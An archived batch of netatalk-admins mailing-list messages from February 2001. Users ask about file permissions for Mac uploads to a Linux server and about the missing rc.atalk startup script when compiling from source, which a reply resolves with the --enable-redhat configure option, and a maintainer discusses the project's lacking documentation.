Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA27175
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Feb 2001 10:56:12 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA22788
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Feb 2001 10:56:06 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA22774
	for netatalk.administrators-members@umich.edu; Fri, 23 Feb 2001 10:56:05 -0500 (EST)
Received: from camelia.wanadoo.fr (smtp-rt-10.wanadoo.fr [193.252.19.59])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA22622
	for <netatalk-admins@umich.edu>; Fri, 23 Feb 2001 10:55:59 -0500 (EST)
Received: from citronier.wanadoo.fr (193.252.19.222) by camelia.wanadoo.fr; 23 Feb 2001 16:56:04 +0100
Received: from wanadoo.fr (193.248.131.180) by citronier.wanadoo.fr; 23 Feb 2001 16:55:43 +0100
Message-ID: <3A968669.1DFD2421@wanadoo.fr>
Date: Fri, 23 Feb 2001 16:48:57 +0100
From: prominox <prominox@wanadoo.fr>
X-Mailer: Mozilla 4.7 [fr] (WinNT; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: netatalk
Content-Type: multipart/mixed;
 boundary="------------A3314CCAFB80DABFB2F1146B"

Il s'agit d'un message multivolet au format MIME.
--------------A3314CCAFB80DABFB2F1146B
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

hello,

can you help me please.
I have one MAC connect on LINUX server with netatalk and when the user
of MAC copy one file on the server, the file has these priority USER
RWX, GROUP RWX, OTHER WX.
can I change some priority by OTHER RWX , when the user copy one file?

best regard.
C.COUTANT

--------------A3314CCAFB80DABFB2F1146B
Content-Type: text/x-vcard; charset=us-ascii;
 name="prominox.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Carte pour prominox
Content-Disposition: attachment;
 filename="prominox.vcf"

begin:vcard 
n:Aurousseau;Thierry
tel;fax:(33) 03-86-59-89-39
tel;work:(33) 03-86-59-89-31
x-mozilla-html:FALSE
url:www.prominox.fr
org:PROMINOX;informatique
version:2.1
email;internet:prominox@wanadoo.fr
title:responsable AS400
adr;quoted-printable:;;5 Rue, Albert 1er=0D=0ABP 20;NEVERS CEDEX;;58028;FRANCE
fn:Thierry Aurousseau
end:vcard

--------------A3314CCAFB80DABFB2F1146B--


From netatalk.administrators-errors@umich.edu  Fri Feb 23 14:33:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA02369
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Feb 2001 14:33:37 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA21511
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Feb 2001 14:33:37 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA21487
	for netatalk.administrators-members@umich.edu; Fri, 23 Feb 2001 14:33:36 -0500 (EST)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA21455
	for <netatalk-admins@umich.edu>; Fri, 23 Feb 2001 14:33:35 -0500 (EST)
Received: from n242-36.berlin.snafu.de ([195.21.242.36] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14WNy9-0003rR-00
	for netatalk-admins@umich.edu; Fri, 23 Feb 2001 20:33:33 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id UAA10285
	for <netatalk-admins@umich.edu>; Fri, 23 Feb 2001 20:30:13 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: No rc.atalk Present
Date: Fri, 23 Feb 2001 20:29:56 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <Pine.LNX.4.30.0102222033210.808-100000@www.molbio.wisc.edu>
In-Reply-To: <Pine.LNX.4.30.0102222033210.808-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Message-Id: <01022320284500.01905@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id OAA02369

On Fri, 23 Feb 2001, Daniel E. Lautenschleger wrote:
> After compiling pre4 on a RH 7 box, there does not seem to be an rc.atalk
> file present that I can start the service with.
> 
> The RPM version is /etc/rc.d/init.d/atalk

Haeh?
This is the startscript!
Usage:
/etc/rc.d/init.d/atalk {start|stop|restart|status}

> 
> Anyone know what gives?

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Fri Feb 23 14:42:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA02514
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Feb 2001 14:42:12 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA02458
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Feb 2001 14:42:12 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA02453
	for netatalk.administrators-members@umich.edu; Fri, 23 Feb 2001 14:42:11 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA02431
	for <netatalk-admins@umich.edu>; Fri, 23 Feb 2001 14:42:10 -0500 (EST)
Received: (qmail 1919 invoked by uid 500); 23 Feb 2001 19:41:55 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 23 Feb 2001 19:41:55 -0000
Date: Fri, 23 Feb 2001 13:41:55 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: Carsten Neumann <deltor@snafu.de>
cc: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: No rc.atalk Present
In-Reply-To: <01022320284500.01905@athlet>
Message-ID: <Pine.LNX.4.30.0102231340480.1892-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

That is true for the RPM version, but the atalk script is not present when
compiling from source.

-Dan

On Fri, 23 Feb 2001, Carsten Neumann wrote:

> On Fri, 23 Feb 2001, Daniel E. Lautenschleger wrote:
> > After compiling pre4 on a RH 7 box, there does not seem to be an rc.atalk
> > file present that I can start the service with.
> >
> > The RPM version is /etc/rc.d/init.d/atalk
>
> Haeh?
> This is the startscript!
> Usage:
> /etc/rc.d/init.d/atalk {start|stop|restart|status}
>
> >
> > Anyone know what gives?
>
> Regards
>
> 	Carsten
>



From netatalk.administrators-errors@umich.edu  Fri Feb 23 14:48:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA02748
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Feb 2001 14:48:48 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA09923
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Feb 2001 14:48:48 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA09864
	for netatalk.administrators-members@umich.edu; Fri, 23 Feb 2001 14:48:45 -0500 (EST)
Received: from chicgeek.sophos.ca (modemcable123.29-201-24.mtl.mc.videotron.ca [24.201.29.123])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA09820
	for <netatalk-admins@umich.edu>; Fri, 23 Feb 2001 14:48:42 -0500 (EST)
Received: from chicgeek.sophos.ca (francis@chicgeek.sophos.ca [192.168.2.1])
	by chicgeek.sophos.ca (8.9.3/8.8.7) with ESMTP id OAA23023;
	Fri, 23 Feb 2001 14:51:25 -0500
Date: Fri, 23 Feb 2001 14:51:25 -0500 (EST)
From: Francis Lachapelle <francis@chicgeek.sophos.ca>
Reply-To: francis@sophos.ca
To: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
cc: Carsten Neumann <deltor@snafu.de>,
        Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: No rc.atalk Present
In-Reply-To: <Pine.LNX.4.30.0102231340480.1892-100000@www.molbio.wisc.edu>
Message-ID: <Pine.LNX.4.20.0102231449230.20261-100000@chicgeek.sophos.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Fri, 23 Feb 2001, Daniel E. Lautenschleger wrote:

> That is true for the RPM version, but the atalk script is not present when
> compiling from source.

>From the README file of the source of version 1.5pre3:

    The file rc.atalk is installed in ETCDIR.  It should be called
    from your /etc/rc file, e.g. "sh ETCDIR/rc.atalk".

Mine was in /etc/atalk which I moved to /etc/rc.d/init.d




[francis@chicgeek ~]$ od -c -N 120 /dev/random > ~/.signature


From netatalk.administrators-errors@umich.edu  Fri Feb 23 14:52:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA02872
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Feb 2001 14:52:16 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA07419
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Feb 2001 14:52:10 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA07398
	for netatalk.administrators-members@umich.edu; Fri, 23 Feb 2001 14:52:09 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA07374
	for <netatalk-admins@umich.edu>; Fri, 23 Feb 2001 14:52:08 -0500 (EST)
Received: (qmail 1933 invoked by uid 500); 23 Feb 2001 19:51:58 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 23 Feb 2001 19:51:58 -0000
Date: Fri, 23 Feb 2001 13:51:58 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: <francis@sophos.ca>
cc: Carsten Neumann <deltor@snafu.de>,
        Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: No rc.atalk Present
In-Reply-To: <Pine.LNX.4.20.0102231449230.20261-100000@chicgeek.sophos.ca>
Message-ID: <Pine.LNX.4.30.0102231351020.1892-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I did a find / -name rc.atalk after installing at it was not present. I
looked and it was not in /etc/atalk either.

Strange.

-Dan

On Fri, 23 Feb 2001, Francis Lachapelle wrote:

> On Fri, 23 Feb 2001, Daniel E. Lautenschleger wrote:
>
> > That is true for the RPM version, but the atalk script is not present when
> > compiling from source.
>
> >From the README file of the source of version 1.5pre3:
>
>     The file rc.atalk is installed in ETCDIR.  It should be called
>     from your /etc/rc file, e.g. "sh ETCDIR/rc.atalk".
>
> Mine was in /etc/atalk which I moved to /etc/rc.d/init.d
>
>
>
>
> [francis@chicgeek ~]$ od -c -N 120 /dev/random > ~/.signature
>
>


From netatalk.administrators-errors@umich.edu  Fri Feb 23 15:07:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA03316
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Feb 2001 15:07:03 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA21900
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Feb 2001 15:07:02 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA21878
	for netatalk.administrators-members@umich.edu; Fri, 23 Feb 2001 15:07:02 -0500 (EST)
Received: from chicgeek.sophos.ca (modemcable123.29-201-24.mtl.mc.videotron.ca [24.201.29.123])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA21841
	for <netatalk-admins@umich.edu>; Fri, 23 Feb 2001 15:07:01 -0500 (EST)
Received: from chicgeek.sophos.ca (francis@chicgeek.sophos.ca [192.168.2.1])
	by chicgeek.sophos.ca (8.9.3/8.8.7) with ESMTP id PAA23234;
	Fri, 23 Feb 2001 15:09:51 -0500
Date: Fri, 23 Feb 2001 15:09:51 -0500 (EST)
From: Francis Lachapelle <francis@chicgeek.sophos.ca>
Reply-To: francis@sophos.ca
To: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
cc: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: No rc.atalk Present
In-Reply-To: <Pine.LNX.4.30.0102231351020.1892-100000@www.molbio.wisc.edu>
Message-ID: <Pine.LNX.4.20.0102231508330.20261-100000@chicgeek.sophos.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Fri, 23 Feb 2001, Daniel E. Lautenschleger wrote:

> I did a find / -name rc.atalk after installing at it was not present. I
> looked and it was not in /etc/atalk either.
> 
> Strange.

oops. I forgot to mention that you need to add the option
"--enable-redhat" when running configure.



[francis@chicgeek ~]$ od -c -N 120 /dev/random > ~/.signature


From netatalk.administrators-errors@umich.edu  Fri Feb 23 15:11:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA03443
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Feb 2001 15:11:07 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA02597
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Feb 2001 15:11:07 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA02587
	for netatalk.administrators-members@umich.edu; Fri, 23 Feb 2001 15:11:06 -0500 (EST)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA02567
	for <netatalk-admins@umich.edu>; Fri, 23 Feb 2001 15:11:05 -0500 (EST)
Received: from univrel.pr.uconn.edu (root@test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.8.7/8.8.7) with ESMTP id PAA00422;
	Fri, 23 Feb 2001 15:11:04 -0500
Sender: root@univrel.pr.uconn.edu
Message-ID: <3A96C350.2850DB2B@univrel.pr.uconn.edu>
Date: Fri, 23 Feb 2001 15:08:48 -0500
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.0-0.14mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>,
        netatalk-admins@umich.edu
Subject: Re: No rc.atalk Present
References: <Pine.LNX.4.30.0102231340480.1892-100000@www.molbio.wisc.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

"Daniel E. Lautenschleger" wrote:
> That is true for the RPM version, but the atalk script is not present when
> compiling from source.

Use --enable-redhat to get the redhat script.

jeff

From netatalk.administrators-errors@umich.edu  Fri Feb 23 15:13:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA03546
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Feb 2001 15:13:52 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA08442
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Feb 2001 15:13:46 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA08405
	for netatalk.administrators-members@umich.edu; Fri, 23 Feb 2001 15:13:45 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id PAA08260
	for <netatalk-admins@umich.edu>; Fri, 23 Feb 2001 15:13:42 -0500 (EST)
Received: (qmail 1965 invoked by uid 500); 23 Feb 2001 20:13:30 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 23 Feb 2001 20:13:30 -0000
Date: Fri, 23 Feb 2001 14:13:30 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: <francis@sophos.ca>
cc: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: No rc.atalk Present
In-Reply-To: <Pine.LNX.4.20.0102231508330.20261-100000@chicgeek.sophos.ca>
Message-ID: <Pine.LNX.4.30.0102231409420.1892-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

You've got to be kidding me...

What the heck does --enable-redhat do? In fact, where the hell is complete
documentation on the various installation options as well as what's been
fixed after each release!!!!!!

Not trying to piss anyone off. Jeff has done a fine job so far :-) It
justs gets frustrating at times.

No flaming please. Just a bit of venting. I am now patient and
grateful once again...

-Dan

On Fri, 23 Feb 2001, Francis Lachapelle wrote:

> On Fri, 23 Feb 2001, Daniel E. Lautenschleger wrote:
>
> > I did a find / -name rc.atalk after installing at it was not present. I
> > looked and it was not in /etc/atalk either.
> >
> > Strange.
>
> oops. I forgot to mention that you need to add the option
> "--enable-redhat" when running configure.
>
>
>
> [francis@chicgeek ~]$ od -c -N 120 /dev/random > ~/.signature
>
>

-- 


From netatalk.administrators-errors@umich.edu  Fri Feb 23 15:32:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA04344
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Feb 2001 15:32:31 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA05853
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Feb 2001 15:32:24 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA05841
	for netatalk.administrators-members@umich.edu; Fri, 23 Feb 2001 15:32:24 -0500 (EST)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA05802
	for <netatalk-admins@umich.edu>; Fri, 23 Feb 2001 15:32:23 -0500 (EST)
Received: from univrel.pr.uconn.edu (root@test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.8.7/8.8.7) with ESMTP id PAA00546;
	Fri, 23 Feb 2001 15:32:22 -0500
Sender: root@univrel.pr.uconn.edu
Message-ID: <3A96C84E.2F1745DE@univrel.pr.uconn.edu>
Date: Fri, 23 Feb 2001 15:30:06 -0500
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.0-0.14mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
CC: francis@sophos.ca, Netatalk Mailing List <netatalk-admins@umich.edu>,
        netatalk-devel@lists.sourceforge.net
Subject: Re: No rc.atalk Present
References: <Pine.LNX.4.30.0102231409420.1892-100000@www.molbio.wisc.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

"Daniel E. Lautenschleger" wrote:
> 
> You've got to be kidding me...
> 
> What the heck does --enable-redhat do? In fact, where the hell is complete
> documentation on the various installation options as well as what's been
> fixed after each release!!!!!!
> 
> Not trying to piss anyone off. Jeff has done a fine job so far :-) It
> justs gets frustrating at times.
> 
> No flaming please. Just a bit of venting. I am now patient and
> grateful once again...

That's okay. I'm not offended.

I *know* that documentation is lacking, other than the usually unhelpful
"./configure --help", which still doesn't explain much about the
options.

If anyone would like to help out, it would be much appreciated, since
the README was last slightly patched when I had a little bit of free
time, and I haven't really had time to maintain it.

Might move the --enable-redhat,--enable-suse, etc switches to
--enable-sysv=(redhat|suse|...) or something in the future, since a ton
of switches like that is just bound to get confusing.

jeff
(with tremendous apologies for the cross-posting)

From netatalk.administrators-errors@umich.edu  Fri Feb 23 16:04:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA05952
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Feb 2001 16:04:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA02396
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Feb 2001 16:04:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA02381
	for netatalk.administrators-members@umich.edu; Fri, 23 Feb 2001 16:04:08 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id QAA02341
	for <netatalk-admins@umich.edu>; Fri, 23 Feb 2001 16:04:07 -0500 (EST)
Received: (qmail 2016 invoked by uid 500); 23 Feb 2001 21:03:52 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 23 Feb 2001 21:03:52 -0000
Date: Fri, 23 Feb 2001 15:03:52 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: jeff <jeff@univrel.pr.uconn.edu>
cc: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Helping Out
In-Reply-To: <3A96C84E.2F1745DE@univrel.pr.uconn.edu>
Message-ID: <Pine.LNX.4.30.0102231445220.2008-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Jeff:

I would love to help out and assemble documentation that would ease
installation/operational issues. The problem is, I don't fully understand
what changes have been made since the whole shebang got moved to
sourceforge and truly what all the options and challenges are for the
various installs on the different platforms.

If you have a general direction or thoughts of how I might proceed, I
am more than willing to help out. I've thought for quite some time that
there are not enough people helping you out.

Here's another thought meant to be non-offensive:

You for the courage and talent, have signed on to administor the Netatalk
project on SourceForge. Therefore, you need to spell out *exactly* what
areas you need help with (besides documentation) and say I need someone to
do this, somone to do this other thing, etc... and approach it that way.

Who are the current members of the team that are strong at programming?
Who is good at writing documentation? Who can communicate on a regular
basis regarding bugs that need to be resolved? Is it even a bug? Who is
going to regularly respond to people in the help forum (besides other
users) to assist with simple and/or major issues?

I gues we need some structure added to the SourceForge site and I'm as
guilty as anyone else for not doing more to promote this as I have signed
up as developer. Well, I suck at C but I don't mind doing some
administrative work if you'd like me to.

Just some thoughts that I think may move us forward with a more
presentable operation as v1.5 release approaches.

Tell ya' what, rather than rambling any longer, I will seriously examine
what I think needs to happen with regard to making a more effective
SourceForge presence over the weekend and present you with my ideas next
week via e-mail.

I can stop my complaining and contribute that energy to the project :-)

Sorry for the ramblings...

-Dan

On Fri, 23 Feb 2001, jeff wrote:

> "Daniel E. Lautenschleger" wrote:
> >
> > You've got to be kidding me...
> >
> > What the heck does --enable-redhat do? In fact, where the hell is complete
> > documentation on the various installation options as well as what's been
> > fixed after each release!!!!!!
> >
> > Not trying to piss anyone off. Jeff has done a fine job so far :-) It
> > justs gets frustrating at times.
> >
> > No flaming please. Just a bit of venting. I am now patient and
> > grateful once again...
>
> That's okay. I'm not offended.
>
> I *know* that documentation is lacking, other than the usually unhelpful
> "./configure --help", which still doesn't explain much about the
> options.
>
> If anyone would like to help out, it would be much appreciated, since
> the README was last slightly patched when I had a little bit of free
> time, and I haven't really had time to maintain it.
>
> Might move the --enable-redhat,--enable-suse, etc switches to
> --enable-sysv=(redhat|suse|...) or something in the future, since a ton
> of switches like that is just bound to get confusing.
>
> jeff
> (with tremendous apologies for the cross-posting)
>

-- 

Daniel E. Lautenschleger
University of Wisconsin
R.M. Bock Laboratories
Network Administrator and Computer Support
dan@www.molbio.wisc.edu


From netatalk.administrators-errors@umich.edu  Fri Feb 23 16:47:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA07844
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Feb 2001 16:47:47 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA25718
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Feb 2001 16:47:41 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA25692
	for netatalk.administrators-members@umich.edu; Fri, 23 Feb 2001 16:47:40 -0500 (EST)
Received: from hive.smallbusiness.com ([63.122.69.251])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA25639
	for <netatalk-admins@umich.edu>; Fri, 23 Feb 2001 16:47:38 -0500 (EST)
Received: from valhalla.smallbusiness.com (IDENT:kperkins@valhalla.smallbusiness.com [63.122.69.201])
	by hive.smallbusiness.com (8.9.3/8.9.3) with ESMTP id PAA10674
	for <netatalk-admins@umich.edu>; Fri, 23 Feb 2001 15:50:51 -0600
Message-Id: <200102232150.PAA10674@hive.smallbusiness.com>
Subject: unsubscribe
From: Kip Perkins <kperkins@smallbusiness.com>
To: netatalk-admins@umich.edu
In-Reply-To: <Pine.LNX.4.30.0102231445220.2008-100000@www.molbio.wisc.edu>
Content-Type: text/plain
X-Mailer: Evolution 0.6 (Developer Preview)
Date: 24 Feb 2001 03:46:41 +0600
Mime-Version: 1.0

unsubscribe


From netatalk.administrators-errors@umich.edu  Fri Feb 23 17:21:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA08693
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Feb 2001 17:21:59 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA15714
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Feb 2001 17:21:53 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA15703
	for netatalk.administrators-members@umich.edu; Fri, 23 Feb 2001 17:21:53 -0500 (EST)
Received: from mailout03.sul.t-online.com (mailout03.sul.t-online.com [194.25.134.81])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA15667
	for <netatalk-admins@umich.edu>; Fri, 23 Feb 2001 17:21:51 -0500 (EST)
Received: from fwd02.sul.t-online.com 
	by mailout03.sul.t-online.com with smtp 
	id 14WQb7-0005Co-02; Fri, 23 Feb 2001 23:21:57 +0100
Received: from FEILCHEN (320058992624-0001@[217.0.33.144]) by fmrl02.sul.t-online.com
	with smtp id 14WQb2-1jBUwaC; Fri, 23 Feb 2001 23:21:52 +0100
From: "Florian Schedler" <FlorianSchedler@gmx.de>
To: "Netatalk Mailing List" <netatalk-admins@umich.edu>
Subject: AW: Still Only Cleartext
Date: Fri, 23 Feb 2001 23:22:15 +0100
Message-ID: <OFEKJJPNHONBICNFNHNOOEFOCEAA.FlorianSchedler@gmx.de>
